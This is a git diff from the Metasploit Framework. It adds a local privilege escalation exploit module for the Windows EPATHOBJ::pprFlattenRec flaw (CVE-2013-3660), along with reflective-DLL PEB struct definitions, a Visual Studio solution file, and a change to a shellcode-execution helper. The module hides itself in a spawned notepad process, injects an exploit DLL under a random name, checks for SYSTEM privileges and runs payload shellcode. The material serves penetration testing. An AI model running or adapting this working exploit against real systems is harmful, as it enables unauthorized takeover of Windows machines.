ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/rdi.sln b/external/source/exploits/cve-2013-3660/rdi.sln new file mode 100755 index 0000000000..0a0dde7c06 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/rdi.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual C++ Express 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/lib/msf/core/post/windows/process.rb b/lib/msf/core/post/windows/process.rb index 7ec019563d..5ff935b3c6 100644 --- a/lib/msf/core/post/windows/process.rb +++ b/lib/msf/core/post/windows/process.rb @@ -15,10 +15,14 @@ module Process # # @return [Boolean] True if successful, otherwise false # - def execute_shellcode(shellcode, base_addr, pid=nil) + def execute_shellcode(shellcode, base_addr=nil, pid=nil) pid ||= session.sys.process.getpid host = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - shell_addr = host.memory.allocate(shellcode.length, nil, base_addr) + if base_addr.nil? + shell_addr = host.memory.allocate(shellcode.length) + else + shell_addr = host.memory.allocate(shellcode.length, nil, base_addr) + end if host.memory.write(shell_addr, shellcode) < shellcode.length vprint_error("Failed to write shellcode") return false diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb new file mode 100644 index 0000000000..34a167b2d4 --- /dev/null +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -0,0 +1,136 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/process' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage + of uninitialized data which allows to corrupt memory. At the moment, the module has + been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tavis Ormandy ', # Vulnerability discovery and Original Exploit + 'progmboy ', # Original Exploit + 'Keebie4e', # Metasploit integration + 'egypt', # Metasploit integration + 'sinn3r', # Metasploit integration + 'Meatballs', # Metasploit integration + 'juan vazquez' # Metasploit integration + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-3660' ], + [ 'EDB', '25912' ], + [ 'OSVDB', '93539' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], + ], + 'DisclosureDate' => 'May 15 2013', + 'DefaultTarget' => 0 + })) + + end + + def check + os = sysinfo["OS"] + if os =~ /windows/i + return Exploit::CheckCode::Vulnerable + end + end + + def exploit + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + print_status("Creating a new process and migrating...") + + cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe" + new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + new_pid = new_proc.pid + + if not new_pid + print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself") + else + print_status("Migrating to #{new_pid}") + migrate_res = false + + begin + migrate_res = session.core.migrate(new_pid) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError + migrate_res = false + end + + if migrate_res + print_good("Successfully migrated to process #{new_pid}") + else + print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually") + end + end + + print_status("Trying to load the exploit and executing...") + + session.core.load_library({ + "LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"), + "UploadLibrary" => true, + "Extension" => false, + "TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll", + "SaveToDisk" => false + }) + + print_status("Checking privileges after exploitation...") + + if is_system? + print_good("Exploitation successful!") + else + fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again") + end + + if execute_shellcode(payload.encoded) + print_good("Enjoy!") + else + fail_with(Exploit::Failure::Unknown, "Error while executing the payload") + end + + end + + +end